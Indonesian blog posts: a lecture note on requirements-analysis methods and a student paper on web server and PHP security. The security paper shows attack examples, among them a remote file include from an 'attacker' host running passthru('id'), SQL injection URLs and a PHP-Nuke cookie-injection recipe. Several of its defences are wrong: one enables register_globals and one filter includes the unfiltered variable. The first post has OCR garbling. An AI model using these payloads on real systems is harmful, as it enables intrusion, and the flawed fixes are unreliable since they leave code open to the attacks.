Minggu, 21 Oktober 2012

ANALISIS KEBUTUHAN


PENDAHULUAN
Dalam melakukan tahap ini akan dicapai 4 tujuan, yaitu :
a. Menjelaskan sistem saat ini secara lengkap.
b. Menggambarkan sistem informasi yang ideal.
c. Membawa sistem informasi yang ideal ke kondisi saat ini dengan memperhatikan
kendala sumber daya.
d. Memberi dorongan terhadap keyakinan pemakai ke dalam team pengembangan sistem.
Tahap requirement analysis adalah tahap interaksi intensif antara analis sistem dengan
komunitas pemakai sistem (end-rser), dimana team pengembangan sistem menunjukkan
keahliannya untuk mendapatkan ianggapan dan kepercayaan pemakai, sehingga mendapat
partisipasi yang baik.
Merupakan pekerjaan sulit untuk mendapatkan kesepakatan (skeptical) pemakai tentang kebutuhan
mereka dari sebuah sistem informasi, karena mungkin pemakai mengalami kegagalan sistem
informasi sebelumnya.
2. KEINGINAN PEMAKAI
Tahap awal dalam requirement system adalah melakukan survey terhadap keinginan
pemakai dan menjelaskan sistem informasi yang ideal.
Ideal disini merupakan konsep daripada kenyataan, artinya bahwa tidak ada sistem yang ideal
(tidak ada sistem informasi yang sempurna) tetapi bersifat subyektif saja. Kalau hal ini tidak
dijelaskan secara mendalam dapat menimbulkan perbedaan pandangan atau akan mengecewakan
end-user.
3. METODE ANALISIS KEBUTUHAN
Perlu pemilihan rnetode pengumpulan data yang tepat selama melakukan requirement
system. Metode tersebut adalah interviews, questionnaires, observation, procedure analysis, dari
document survey.
Setiap metode akan dijelaskan secara mendalam sebagai berikut:
Tanya jawab (Interviews)
& Bagaimana metode itu digunakan.
- Pemilihan potential interviewees.

- Membuat pedanjian terhadap potential interview
- Menyiapkan struktur pertanyaan yang lengkap dan jelas.
- Memilih person yang di interview secarapribadi dan merekamnya.
b. Target dari metode.
- Kunci pribadi dalam proses DFD.
- Kadangkala melibatkan orang luar, seperti pelanggan atau vendors.
c. Keuntungan metode.
- Pewawancara dtpat mengukur respon nelalui pertanyaan dan menyesuaikannya sesuai
situasi yang terjadi.
- Baik untuk permasalahan yang tidak terstruktur, seperti mengapa anda berpikir hal ini
dapat terjadi ?.
- Menunjukkan kesan interviewer secara pribadi.
- Memunculkan respons yang tinggi sejak penyusunan pertemuan.
d. Kemgian metode.
- Membutuhkan waktu dan biaya yang tidak sedikit.
- Membutuhkan pelatihan dan pengalaman khusus dari pewawancara.
- Sulit membandingkan laporan wawancara karena subyektivitas alamiah.
e. Kapan metode tersebut baik digunakan.
- Mendapatkan parjelasan atau pandangan dari personel kunci.
- Test kredibilitas dari interviewees.
- Mencari interview yang unsureness atau contradictions.
- Memantapkan kredibilitas team.
Beberapa faktor penting dalam interview yang baik, yantu objektives, audimce, format, weightilry
dan combining responses, and docummentation.
Kuesioner (Qu e stio nnaire s)
a- Bagaimana metode itu digunakan.
- Mendisain dengan menggunakau standar kuesioner.
- Kuesioner dikirimkan ke lingkungan kerja end-users.
- Struktur respon diringkas dalam statistik distribusi.
b. Target dari metode
- Semua end-user dengan wawasandya akau dilibatkan dalam proses solusi pemecahan
sistem.
- End-user dihubungkan dengan proses pemakaian simbor-simbol dalam DFD.
c. Keunfungan metode.
- Murah dan cepat dari pada interviews.

- Tidak membutuhkan investigator yang terlatih (hanya satu ahli yang dibutuhkan untuk
mendesain kuesioner untuk end-user yang terpilih.
- Mudah untuk mensintesis hasil sejak pembuatan kuesioner.
- Dengan mudah dapat meminimalkan biaya untuk sernua end-user.
d. Kerugian metode.
- Tidak dapat membuat pertanyaan yang spesifik bagi end-user.
- Analis melibatkan kesan sehingga tidak dapat rnenampau<an pribadi end-user.
- Tanggapan yang rendah karena tidak adanya dorongan yang kuat untuk mengembalikan
kuesioner.
- Tidak dapat menyesuaikan pertanyaan ke end-user secara spesifik.
e. Kapan metode tersebut baik digunakan.
- Pertanyaannya sederhana, dan tidak memiliki arti mendua.
- Membutuhkan wawasan yang luas dari end-user.
- Bila memiliki sedikit waktu dan biaya.
Observasi (Observation)
a, Bagaimana metode itu digrrnakan.
- Secara pribadi seorang analis mengunjungi lokasi pengamatan.
- Analis merekam kejadian dalam lokasi pengamatan, termasuk volumen dan pengolahan
lembar kerja.
b. Target dari metode.
- Lokasi proses secara geografis ditunjukkan dalam DFD @ata Flow Diagram)
c. Keunfungan metode.
- Mendapatkan fali:ta records daripada pendapat (opinion).
- Tidak membutuhkan konstruksi pertanyaan.
- Tidak menganggu atau menyembunyikan sesuatu (end-users tidak mengetahui bahwa
mereka sedang diamati).
- Analis tidak bergantung pada penjelasan lisan dari end-users.
d. Kerugian metode
- Jika terlihat, analis mungkin rnengubah operasi (end-user merasa cliamati).
- Dalam jangka panjang, fakta yang diperoleh dalam satu observasi mungkin tictak tepat
(representative) dalam kondisi harian atau mingguan.
- Membutuhkan pargalaman dan kehlian khuzus dari analis.
e. Kapan metode tersebut baik digunakan
- Membutuhkan gambaran kuantitatif seperti waktu, volume dan sebagainya
- Kecurigaan bahwa end-user mengatakan suatu kejadian yang sebenamya tidak terjadi
(dibuat-buat).

fips praktis dalarn melakukan obsenasi :
a. Jangan mengamati dalam waktu yang lama.Terdapat dua alasan, yaitu : dengan waktu
yang lama akan mengacau operasi yang sedang diamati, dan akan membiaskan
permasalahan yang sebenarnya.
b. Buatcatatan yangringkas.
c. Sebelum observasi, beritahukan kepada supervisor dan pemakai yang terlibat tentang apa
yang akan dikerjakan dan mengapa dikerjakan, sehingga akan mengurangi gangguan.
d. Gunakan checklist yang singkat tentang informasi yang dibutuhkan bersama.
e. Jangan melakukan observasi tanpa rencana..
4. PROSEDITR ANALTS$ (PROCEDI]RE ANALYSTS)
a" Bagaimana metode itu digunakan.
- Dengan prosedur operasi dapat mempelajari dan mengidentifikasikan aliran dokumen
kunci melalui sistem informasi, yaitu dengan data flow diagram (DFD).
- Setiap aliran dokumen kunci menjelaskan prosedur operasi sistem.
- Melalui observasi, analis mempelajari kenyataan daripada mendeskripsikan volume
distribusi (tingg, rendah, sedang) dan apa yang selanjutnya dikerjakan terhadap
salinan dari dokumen aslinya.
b. Target dari metode.
- Dokumen utama dalam DFD @ata Flow Diagram)
- hoses dalamDFD.
c. Keuntungan metode.
- Evaluasi prosedur dapat dikerjakan dengan campur tangan (interferences) yang
minimal dan tidak mempengaruhi operasi pemakai.
- Prosedur aliran dapat dapat menjadi sebuah struktur checklist untuk melakukan
observasi.
d. Kerugian metode-
- hosedure mungkin tidak lengkap dan tidak -up to date lagi.
- Mempelajari bagan aliran dokumen membutuhkan waltu dan keahlian analis.
e. Kapan metode tersebut baik digunakan.
- Memutuskan apakah masalah kegagalan sistem dapat membantu pemncangan yang
baik.
- Tim analis tidak secara total familiar dengan aliran dokumen.
- Mendeskripsikan aliran dokumen yang menganggu kerjanyafungsi.


5. PENGAMATAN DOKI'MEN (DOCUMENT SItRvEy)
a. Bagaimana metode ltu dtgunakan
- Mengidentifikasikan dokumen utama dan laporan (physical data flow diagram).
- Mengumpulkan salinan dokumen aktual dan laporan.
- Setiap dokumen atau laporan, digunakan untuk record data, meliputi field (ukuran dan
tipe), frekuensi penggunaan dan struktur kodingnya (coding structure).
b. Target dari metode.
- Aliran data kunci ditunjukkan dalam data florv diagram (DFD).
c. Keuntungan metode.
- Meminimalkan interupsi dari fungsi opcrasionalnya.
- Permulaan elemen kamus data.
- Seringkali, dapat mempertimbangkan modifikasi major procedural.
d. Kerugian metode
- Membutuhkan waktu yang cukup (terdapat organisasi bisnis yang mengalami
kebanjiran dokumen dan laporan).
e. Kapan metode tersebut baik digunakan.
- Harus dikerjakan jika sebuah sistem akan didesain (selama kegiatan analisis, dalam
memperjelas desain sistem yang baru dan analisis dokumen dapat membantu untuk
menentukan fu gas perancangan selanjutnya).
6. SAMPLING
Sampling dapat membantu mengurangi waktu dan biaya. Perlu kecermatan untuk
memilih sample dari populasi, sehingga membutuhkan keahlian statistik supaya tidak mengalami
kegagalan atau ancaman-
Kendala sumber daya
a. Waktu
Sebuah pengantian sistem harus diutarakan dalam kerangka kerja sejak sistem mengalami
penurunan fungsi dengan cepai. Kendala waktu ini dapat mempengaruhi analis untuk
mempertimbangkarr inovasi teknologi yang tidak mungkin dioperasikan dalam waltu yang
singkat. Oleh karena itu perlu membuhrbkan waktu yang cukup supaya memiliki kelonggaran
waktu sehingga dapat membuat altematif yang paling baik.
b. Uang
Sistem informasi yang ideal akan membutuhkan biaya yang mahal, sehingga membutuhkan
pendanaan yang cukup. Hal ini akan terjadi karena terjadi penaingan dengan para pesaingnya
dimana mereka menanamkan investasi yang besar dalam sistem informasinya.

c" Keahlian
Staff sistem informasi mungkin tidak memiliki pengetahuan atau pengalaman yang cukup
seperti masalah telekomunikasi, integrasi database, dan interactive setting. Perusahaan dapat
mengkontrak konsultan untuk menambah kemampuan mendesain. Hal ini nantinya akan
diperhadapkan pada kendala biaya yang dikeluarkan.untuk tenaga konsultan.
d. Teknologi
Kebutuhan teknologi mungkin akan menjadi rnasalah utama dalam mendukung kerja sistem,
sehingga perlu memperhatikan perkembangan teknologi terus-menerus, yang konsekuensinya
terjadi pengeluaran biaya yang besar dan jangan sampai teknologi yang dipakai ketinggalan
dari para pesaingnya.
e. Faktor ekternal
Banyak kendala yang datang dari luar setting design, seperti pencegahan menggunakan
teknologi eksotik (exotic of technologies), rnencegah memelihara data lokal dalam sebuah
sistem database pusat, dan sebagainya.
7, DOKUMEN ANALISIS KEBUTUHAN
a. Arahan (conduct) analisis
- Hubungan dengan pemakai akhir
- Menganalisa records, forms dan laporan
- Pengamatan proses.
- Menganalisa metode yang digunakan.
- Permasalahan dalam pengumpulan data.
b. Kebutuhan pemakai.
- Apa yang menjadi kebutuhan sebenarnya.
- Kebutuhan laporan (enis dan frekuensinya).
- Kebutuhan pelatihan.
- Pengaruh sistembaru.
c. Kendala sistem.
- Menjelaskan kendala waktu, biaya, keahlian, teknotogi dan faktor ekternal.
- Realistik sistem.
d. Dokumentasi.
- Intrumen pengumpulan data (kebutuhan kuesioner, interview).
- Konsensus statistik.
- Aliran data secara logikal dan phisik.
- Element awal dalam kamus data






Kamis, 18 Oktober 2012

keamanan sistem komputer



BAB 1
PENDAHULUAN
1.1 latar belakang
Dewasa ini, tidak ada sisi kehidupan manusia yang tidak menggunakan komputer,. Akibatnya, timbul suatu kebutuhan security untuk sistem komputer. Kita telah banyak mendengar kejadian pada dunia komputer, khususnya jaringan Internet, yang menghadapi serangan virus, worm, Trojan, DoS, Web deface, pembajakan software, sampai dengan masalah pencurian kartu kredit. Oleh karena sistem keamanan komputer sangat krusial, suatu usaha pencegahan dan pendeteksian penggunaan komputer secara tidak sah juga diperlukan. Dengan membuat sistem keamanan computer maka kita akan melindungi data agar tidak dapat dibaca oleh orang yang tidak berhak dan mencegah agar orang yang tidak berhak tidak menyisipkan atau menghapus data. makalah ini akan menceritakan konsep dasar dari suatu sistem keamanan komputer, khususnya yang berbasis pada Internet. Materi yang dibahas meliputi dasar mengapa kita perlu peduli terhadap keamanan, mengenal dunia underground, cracker dan hacker, membahasa cara membangun firewall sebagai perlindungan dari kejahatan Internet, antisipasi dan strategi keamanan, sistem keamanan yang berbasis pada Internet, strategi backup hingga membuat policy. Makalah ini layak menjadi pedoman Anda yang bergelut di dunia computer baik sebagai pemerhati, praktisi, mahasiswa, bahkan masyarakat umum.
Setiap harinya server-server yang terkoneksi 24 jam ke Internetselalu menghadapi ancaman dari para hacker atau Internet freakslainnya dengan „niatan‰ kriminal tertentu atau juga untuk memberimasukan akan adanya celah keamanan di berbagai serversekaligus beserta sistem operasinya. Masalah keamanan merupakan salah satu aspek penting dari sebuah sistem informasi,sayang sekali masalah keamanan ini seringkali kurang mendapatperhatian dari para pemilik dan pengelola sistem informasi.Jatuhnya informasi ke tangan pihak lain (misalnya pihak lawan bisnis) dapat menimbulkan kerugian bagi pemilik informasi.Sebagai contoh, banyak informasi dalam sebuah perusahaan yanghanya diperbolehkan untuk diketahui oleh orang-orang tertentu didalam perusahaan tersebut, seperti misalnya informasi tentangproduk yang sedang dalam pengembangan serta algoritmaalgoritmadan teknik-teknik yang digunakan untuk menghasilkan produk tersebut. Untuk itu keamanan dari sistem informasi yangdigunakan harus terjamin dalam batas yang dapat diterima.

Jaringan komputer seperti LAN dan Internet memungkinkantersedianya informasi secara cepat. Ini salah satu alasanperusahaan atau organisasi mulai berbondong-bondong membuat LAN untuk sistem informasinya dan menghubungkan LAN tersebutke Internet. Terhubungnya LAN atau komputer ke Internetmembuka potensi adanya lubang keamanan (security hole) yang
tadinya bisa ditutupi dengan mekanisme keamanan secara fisik.Berkembangnya WWW dan Internet menyebabkan pergerakansistem informasi untuk menggunakannya sebagai basis. Banyaksistem yang tidak terhubung ke Internet tetapi tetap menggunakan web sebagai basis sistem informasinya yang dipasang di jaringan Intranet. Untuk itu, keamanan sistem informasi yang berbasis web dan teknologi Internet bergantung kepada keamanan sistem web tersebut. Arsitektur sistem web terdiri dari dua sisi: server dan client. Keduanya dihubungkan dengan jaringan komputer (computer network). Selain menyajikan data-data dalam bentuk statis, system web dapat menyajikan data dalam bentuk dinamis dengan menjalankan program. Program ini dapat dijalankan di server (misal dengan CGI atau servlet) dan di client (applet, atau Javascript). Sistem server dan client memiliki permasalahan yang erbeda. Keduanya akan dibahas secara terpisah.


BAB II
LANDASAN TEORI

1.1  KEAMANAN SERVER WWW
Keamanan server WWW biasanya merupakan masalah dari seorang administrator. Dengan memasang server WWW di system Anda, Anda membuka akses (meskipun secara terbatas) pada orang luar. Apabila server Anda terhubung ke Internet dan memang server WWW Anda disiapkan untuk publik, Anda harus lebih berhati-hati sebab Anda membuka pintu akses ke seluruh dunia. Server WWW menyediakan fasilitas agar client dari tempat lain dapat mengambil informasi dalam bentuk berkas (file) atau mengeksekusi perintah (menjalankan program) di server. Fasilitas pengambilan berkas dilakukan dengan perintah GET, sementara mekanisme untuk mengeksekusi perintah di server dapat dilakukan dengan CGI (Common Gateway Interface), Server-side Include (SSI), Active Server Page (ASP), PHP, atau dengan menggunakan servlet (seperti penggunaan Java Servlet). Kedua jenis servis di atas (mengambil berkas biasa maupun menjalankan program di server) memiliki potensi lubang keamanan yang berbeda. Adanya lubang keamanan di system WWW dapat dieksploitasi dalam bentuk yang beragam, antara lain: 
a.        Informasi yang ditampilkan di server diubah sehingga dapat mempermalukan perusahaan atau organisasi Anda (dikenal dengan istilah deface).
b.      Informasi yang semestinya dikonsumsi untuk kalangan terbatas (misalnya laporan keuangan, strategi perusahaan Anda, atau database client Anda) ternyata berhasil disadap oleh saingan Anda (ini mungkin disebabkan salah setup server, salah setup router/firewall, atau salah setup autentikasi).
c.        Informasi dapat disadap (seperti misalnya pengiriman nomor kartu kredit untuk membeli melalui WWW atau orang yang memonitor kemana saja Anda melakukan web surfing).
d.      Server Anda diserang (misalnya dengan memberikan request secara bertubi-tubi) sehingga tidak bisa memberikan layanan ketika dibutuhkan (Denial of Service Attack).
e.        Untuk server web yang berada di belakang firewall, lubang keamanan di server web yang dieksploitasi dapat melemahkan atau bahkan menghilangkan fungsi firewall (dengan mekanisme tunneling).


2.2 WEB SERVER DAN DATA BASE SERVER
            Web Server dan database server bagaikan jantung dan otak dari organisme Internet. Dua komponen ini menjadi komponen pokok dari sebuah aplikasi Internet yang tangguh dan tepatlah keduanya menjadi target hacker. Dalam beberapa kasus kita harus dapat menentukan titik-titik lemah dalam aplikasi tersebut yang bias menjadi sasaran penyerang. Ada beberapa server yang sering digunakan dalam dunia web Internet, yaitu Apache dari Apache Software Foundations dan IIS dari Microsoft. Web server berfungsi untuk mendengarkan setiap request pada jaringan dan menjawabnya kepada si pengirim permintaan dengan membawa data tertentu.
                                                                                                                            

2.3 Apache
Apache telah menjadi web server terpopuler saat ini. Server Apache telah bekerja pada semua platform seperti NetBSD, UNIX, AIX, OS/2, Windows, HPUX, Novell Netware, Macintosh, BeOS,FreeBSD, IRIX, dan Solaris. Ada banyak versi Apache sampai saat ini, setiap versi berisi fitur-fitur seperti:
1.  Host Virtual. Memungkinkan sebuah komputer untuk berhubungan dengan sejumlah besar web server pada saat yang bersamaan sehingga satu buah komputer yang menjalankan satu web server dapat melayani banyak halaman dari beragam situs web.
2. Server-side Includes. Perintah-perintah yang ada dalam halaman Web HTML yang menyediakan fungsi server-side. SSI serupa dengan CGI yang secara khusus digunakan untuk membuat sebuah halaman web yang dinamis. Situs web sering mengaktifkan fitur ini untuk mengerjakan file berekstensi.shtml dan mengendalikan SSH.
3. Halaman Web Dinamis dari CGI. Suatu mekanisme orisinil yang dikembangkan untuk mengirimkan isi data yang dinamiske web.
4. Handler, Pengendali untuk mengendalikan beragam request pada web berdasarkan nama file. File-file tertentu seperti .asp dan seterusnya. Handler bersifat built-in dan megendalikan isi data statis seperti HTML.
5. Variabel Lingkungan.
6. Pemetaan URL ke sistem file.

2.4 Internet Information Service (IIS)
Produk dari Microsoft dalam jajaran web servernya, namun saat ini IIS tergeser dominasinya dengan Apache yang lebih berdaya guna. Sudah menjadi rahasia umum bahwa sistem keamanan di sisi IIS sangat rentan, ini bisa dilihat dari sisi aplikasi-aplikasi Internet Server Applications Programming Interface (ISAPI). ISAPI membuka kesempatan pengembang untuk memperluas keguanaan server IIS dengan membuat program mereka sendiri untuk mengolah dan mengendalikan data dan request yang dikirim. Hal ini berarti meningkatkan kontrol atas request.
Secara default IIS menginstal ISAPI yang digunakan untukVmendobrak IIS. Dengan menambah fitur yang dimiliki ISAPI berarti menambah kekhawatiran rentannya keamanan seperti filter .ldq dan .ida yang ternyata bertanggung jawab atas masuknya worm Nimda dan CodeRed. Worm tersebut menyebabkan kondisi buffer overflow pada ekstensi *.ida. Worm ini mengekplotasi kelemahan server indeks .ida sehingga membuka kesempatan bagi penyerang untuk mengirimkan request ke web server dan menyebabkan overflow DLL yang mengendalikan request. Penyelesaian masalah filter ini adalah tetap mengikuti semua security patch dari Microsoft dan menerapkan yang cocok.

2.5 Bahasa Pemrograman Internet
Ada banyak bahasa web yang populer di dunia Internet seperti HTML, DHTML, XML, XHTML, Perl, PHP, ASP, Cold Fusion, dan lain-lain. HTML merupakan framework Internet, hampir semua situs web yang ada menggunakan HTML untuk menampilkan teks, grafik, suara, dan animasinya. Dengan kemudahannya, HTML banyak digunakan. Hal ini memungkinkan seorang intruders untuk mencari vurnerability dari sisi bahasa ini. Ada banyak actions dalam HTML seperti <form>, <form actions>, <form method>, <input>, <apllet>, dan lain-lain. Turunan dari HTML adalah eXtensible Markup Language (XML) yang lebih bersifat terbatas dibandingkan dengan elemen-elemen HTML yang telah distandarisasi dan ditentukan. Pusat perhatian perluasan elemen ini adalah Document Type Definitions (DTD). Perl atau Practical Extraction and Report Language merupakan bahasa pemrograman tingkat tinggi. Perl sangat tangguh dan fleksibel karena ia dapat digunakan untuk menulis program yang bersifat server-side, menjalankan fungsi-fungsi lokal pada suatu sistem, atau digunakan untuk aplikasi standalone. PHP atau Personal Home Page awalnya digunakan untuk mencatat pengunjung yang membuka halaman tertentu. PHP merupakan bahasa server-side yang paling banyak digunakan untuk membuat aplikasi standalone yang tidak terkait dengan web.
Kelemahan PHP dan Perl sama, yaitu bila script memproses input dari browser web untuk query database seperti sistem, passthry shellxec, exec, atau server-side includes (SSI), penyerang dapat melakukan sanitasi variable input untuk mengesekusi yang tidak diinginkan.Cold Fusion adalah sistem yang dikembangkan oleh Allaire yangmemiliki tiga komponen utama: Application Server, MarkupLanguage, dan Studio. CFM serupa dengan HTML yang mempunyai tag yang sangat luas seperti koneksi ke database dan dukungan Post. Kelemahannya, penyerang yang jago dalam pemrograman tidak akan mengalami kesulitan untuk mengetahui isi database dengan perintah query. ASP (Active Server Page) dibuat oleh Microsoft untuk lingkungan scripting server-side dan diciptakan khusus untuk server-side Internet Information Sistems (IIS). ASP mengkombinasikan HTML, code scripting, VBScript, dan komponen ActiveX server-side untuk menciptakan isi yang dinamis. Di balik semua itu sudah menjadi rahasia umum bahwa Windows dengen server IIS banyak mempunyai lubang kelemahan yang dapat dimanfaatkan oleh penyusup. ASP hadir dengan dua dasar, yaitu server-side dan client-side. Form server-side hadir dalam bentuk kode-kode ASP dengan tag dan form client-siden-ya dalam bentuk HTML.

Contoh pemrograman dengan ASP dengan cara server-side dan
client-side:
<html>
<head>
<title> ASP Pertamaku</title>
</head>
<body>
<%
Dim halos
halos = "Hallo dieksekusi dari server"
Response.Write(halos)
%>
<hr>
<script language=VBScript>
Dim haloc
haloc = "Hallo dieksekusi dari client"
Document.Write(haloc)
</script>
</body>
</html>


Saat dieksekusi, di browser akan tampak script dari ASP denganmenampilkannya lewat Notepad. Dua solusi dasar bagi keamanan ASP: buanglah sampel-sampel file dari direktori yang terinstal secara default dan sanitasikan atau bersihkan field inputnya.

2.6 Keamanan pada Aplikasi
Web dengan PHP Vulnerability atau kelemahan keamanan pada PHP bias dikarenakan kesalahan pada program script PHP yang kita buat atau pada konfigurasinya. Program PHP itu sendiri kita jalankan sebagai modul atau CGI (vulnerability bawaan) dan program web server yang akan berinteraksi dengan program PHP.
1. Kode PHP yang tidak diparsingKita sering kali meng-include file kode PHP untuk kemudahan scripting, misalnya memisahkan kode PHP yang berisi fungsi, class, atau konfigurasi dengan kode PHP untuk implementasinya. Kode PHP yang dipisahkan tersebut kemudian dipanggil dengan fungsi include(), include_once(), require(), atau require_once(). Jika include file adalah kode PHP yang akan dieksekusi, pastikanlah file tersebut diparsing sebagai file PHP, misalnya config.inc.php, atau jika ingin menggunakan ektensi .inc maka pastikan konfigurasi web server membuat file tersebut di-parsing sebagai file PHP. Tambahkan script agar ketika file diakses secara langsung oleh user maka hanya akan didapatkan baris kosong atau akan langsung di-redirect ke halaman lain.

if ( $_SERVER['PHP_SELF'] ) {
header("Location: ../index.html');
}
Anda juga dapat melakukan setup pada web server agar tidak dapat me-request file berekstensi .inc, misalnya pada Apache kita dapat menambahakan konfigurasi seperti ini:
<Files ~ "\.inc$">
Order allow, deny
Deny from all
</Files>

Hal tersebut di atas dilakukan untuk menghindari attacker mendapatkan source code file karena file dikirim tanpa diparsing. Jika attacker bisa mendapatkan file source code maka akan membuat mudah bagi mereka untuk mencari lubang kemanan di aplikasi.

2. Variabel auto global
Banyak aplikasi PHP yang memiliki lubang keamanan yang berasal dari kemampuan varibel autoglobal. Oleh karenanya mulai versi 4.3.1 PHP sudah membuat default autoglobal pada php.ini bernilai off. Tentu saja sebenarnya kelemahan keamanan bukan berawal dari varibel autoglobal, tapi dari kelalaian programmer. Sebenarnya dengan adanya fasilitas autoglobal pada varibel, programmer diberikan kemudahan, tapi memudahkan pula terjadinya lubang keamanan. Dengan fasilitas ini suatu varibel misalnya $x tidak perlu dideklarasikan dahulu dan bias merupakan varibel session, varibel cookie, dan varibel dari GET/POST. Lubang kemanan tersebut bisa mengakibatkan:
.. Denial of Service
.. Authentication failure
.. Account hijacking
.. Perusakan tampilan/layout
.. Implementasi virus web browser
.. dan lain-lain
Kebanyakan lubang keamanan pada aplikasi PHP adalah akibat varibel autoglobal ini adalah aplikasi yang open source sehingga user dapat mengetahui kode aplikasi dan mengetahui nama-nama varibel yang digunakan. Dengan sedikit trik security through obscurity sebenarnya kita agak terlindungi dari akibat fasilitas varibel autoglobal ini. Bersiap-siaplah untuk belajar pemrograman dengan security in mind.

3. Fungsi include(), require() atau fopen()
Akibat mekanisme autoglobal, suatu varibel dalam PHP menjadi tidak jelas jenisnya. Jenis variabel jadi tidak bias dibedakan atara variabel dari GET/POST, varibel dari ENVIRONTMENT, atau varibel dari COOKIES/SESSION. Akibatnya, suatu variabel apa saja yang kita definisikan dapat dengan mudah kita isi dengan nilai dari varibel GET atau POST. Kelemahan biasanya muncul ketika varibel untuk parameter fungsi include(), require() atau fopen()digunakan. Kita tahu bahwa dengan fungsi tersebut kita dapat melakukan eksekusi/parsing file PHP dari file lain, baik pada file dari disk lokal atau file dari situs lain. Jika varibel untuk parameter fungsi tersebut diketahui, attacker dapat mengganti nilai varibel tersebut dengan mengirimkan nilai varibel lewat metode GET atau POST. Contoh di bawah ini adalah vulnerability akibat menggunakan varibel pada fungsi include(). Perhatikan kode dibawah ini:
include($phpgw_info["server"]["include_root"]."/phpgwapi/phpg
w_info.inc.php");

Kode tersebut tidak aman karena walaupun menggunakan varibel array, variabel $phpgw_info masih dapat diganti dengan varibel GET/POST dari client atau diganti dengan sebuah URL lain, misalnya http://attacker/phpgwapi/phpgw_info.inc.php di mana file phpgw_info.inc.php dapat berisi kode PHP yang bias dieksekusi oleh server korban/victim, misalnya berupa kode:
<?php
$phpcode = 'echo("Hi there!<BR>");passthru("id");';
if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) ==
"PHP")
echo("<?php $phpcode ?>");
else
eval($phpcode);
exit();
?>

Kejadian seperti di atas, di mana suatu kode PHP dari situs lain diambil agar dieksekusi di server korban sering disebut Cross Site Scripting (XSS).
Ada beberapa pencegahan dari kelemahan ini seperti jangan meng-include atau sejenisnya dengan parameter sebuah varibel, misalnya include($file) atau include($dir."file.php"). Jika hal ini terpaksa dilakukan, gunakan filter dengan regular expression untuk mengecek varibel tersebut. Contoh:
$file = eregi_replace("/^http:\/\/.+/","",$file);
$file = eregi_replace("/^(\.\./)/","",$file);
include($file);
Atau, gunakan pengkondisian seperti ini:
if ( $file == "about" ) {
$filex = "ab/index.php";
} elseif ( $file == "member" ) {
$filex = "member/index.php";
} else {
$file = "index.php";
}
include($file);
4. Kondisi varibel yang tidak jelas Proses autentikasi ataupun autorisasi seringkali dilakukan dengan mengecek kondisi yang membandingkan varibel GET/POST yang diberikan user atau varibel dari session/cookie dengan suatu nilai. Misalkan suatu halaman melakukan otentifikasi dengan kode seperti di bawah ini:
<?php
session destroy()
session_start();
$session_auth = "admin";
session_register("session_auth");
?>
dan kemudian sebuah halaman menggunakan autorisasi dengan cara mengecek varibel session_auth seperti ini:
<?php
if (!empty($session_auth)) {
// Kode jika autorisasi berhasil disini
}
?>

Kode pengecekan tersebut tidaklah aman, sebab dengan mudah attacker dapat mengakses halaman tersebut dengan URL seperti http://victimhost/page.php?session_auth=1 yang dapat membuat kondisi pada if di atas menjadi TRUE. Kesalahan pemrograman seperti ini juga terjadi pada jenis varibel dari GET/POST varibel cookie. Sebagai solusinya, aturlah konfigurasi auto_global menjadi off pada file php.ini dan mulailah memprogram dengan pendefinisian varibel yang jelas, misalnya $_GET, $_POST, $_COOKIE atau $_SESSION.
if ( $_POST['username'] == $user && $_POST['password'] ==
$pass ) {
/* ... */
}
Jika tidak punya akses ke php.ini, gunakan fungsi ini_set():
ini_set("register_globals", 1);
5. SQL Injection
Akibat lain dari varibel autoglobal adalah eksploitasi dengan SQL Injection. SQL injection berarti memanipulasi suatu query atau memasukan suatu query dengan menggunakan query lain. Cara ini dapat dilakukan karena pada program yang dibuat terdapat query yang menggunakan varibel. Di bawah ini adalah contoh request yang mencoba melakukan SQL Injection pada query yang memiliki varibel $search. 
http://localhost/search.php?search=a%27%20order%20by%20time%20desc%3b%20[query]
Varibel $search di atas bernilai "a‰ order by time desc; [query]". [query] dapat berisi SQL query baru yang lengkap yang membahayakan, misalnya query untuk menghapus database/tabel. Di bawah ini adalah contoh bagaimana terjadinya account thijacking dengan cara. SQL Injection terjadi pada aplikasi portal PHP-Nuke dan Post-Nuke. Query pada kode di bawah ini tidak aman karena ada variabel yang nilainya diambil dari cookie. Oleh karena cookie disimpan di client, user dapat dengan mudah mengganti cookie-nya.
/* kode pada modules/News/article.php */
if ($save AND is_user($user)) {cookiedecode($user);
sql_query("update ".$user_prefix."_users set umode='$mode',"
"uorder='$order', thold='$thold' where uid='$cookie[0]'",
$dbi);
getusrinfo($user);
$info =base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:".
"$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:".
"$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}

Kesalahan pada kode di atas adalah pada bagian eksekusi query where uid=„$cookie[0]‰ yang mengambil varibel untuk uid dari cookie. Untuk mengeksploitasi vulnerabity ini maka kita perlu membuat account (valid user) untuk melewati if($save AND is_user($user)), kemudian mengubah cookie dengan pada bagian username, men-base64-encode cookie, kemudian melakukan request dengan save=1 pada article.php lewat modules.php. Contoh lain adalah DoS dengan menggunakan metode SQL Injection pada situs PHPNuke dengan requestsepertiini:
http://www.XXXX.com/modules.php?name=News&file=article&sid=1234%20or%2011
6. Session Spoofing
Mekanisme session pada PHP tidak dilakukan dengan cara yang cukup aman. Ketika suatu session dibentuk, misalnya saat user login, maka sebuah file untuk menyimpan data variabel session dibuat dan akan tetap ada sebelum session didestroy. Session file tersebut dibuat pada direktori yang didefinisikan pada php.ini sebagai session.save_path. Pada UNIX biasanya direktorinya adalah /temp/, sedangkan padaWindows adalah sessiondata pada direktori di mana PHPdiinstal. Kita juga dapat mengonfigurasi PHP agar menyimpan sessionnya pada database dengan session_set_save_handler. Tentu saja solusi ini tidak terlalu baik, tetapi paling tidak sudah memberi pekerjaan lebih buat attacker. Sebagai tambahan, jika kita ingin menyimpan data yang krusian di session misalnya password, kita dapat melakukan enkripsi varibel sebelum varibel tersebut disimpan pada session, misalnya: minimal dengan Base64 encoding. Session spoofing juga dapat terjadi akibat tidak amannya cara penampilan suatu halaman PHP.

2.7 Keamanan Program CGI
Common Gateway Interface (CGI) digunakan untukmenghubungkan sistem WWW dengan software lain di server web. Adanya CGI memungkinkan hubungan interaktif antara user dan server web. CGI seringkali digunakan sebagai mekanisme untuk mendapatkan informasi dari user melalui fill out form, mengakses database, atau menghasilkan halaman yang dinamis.
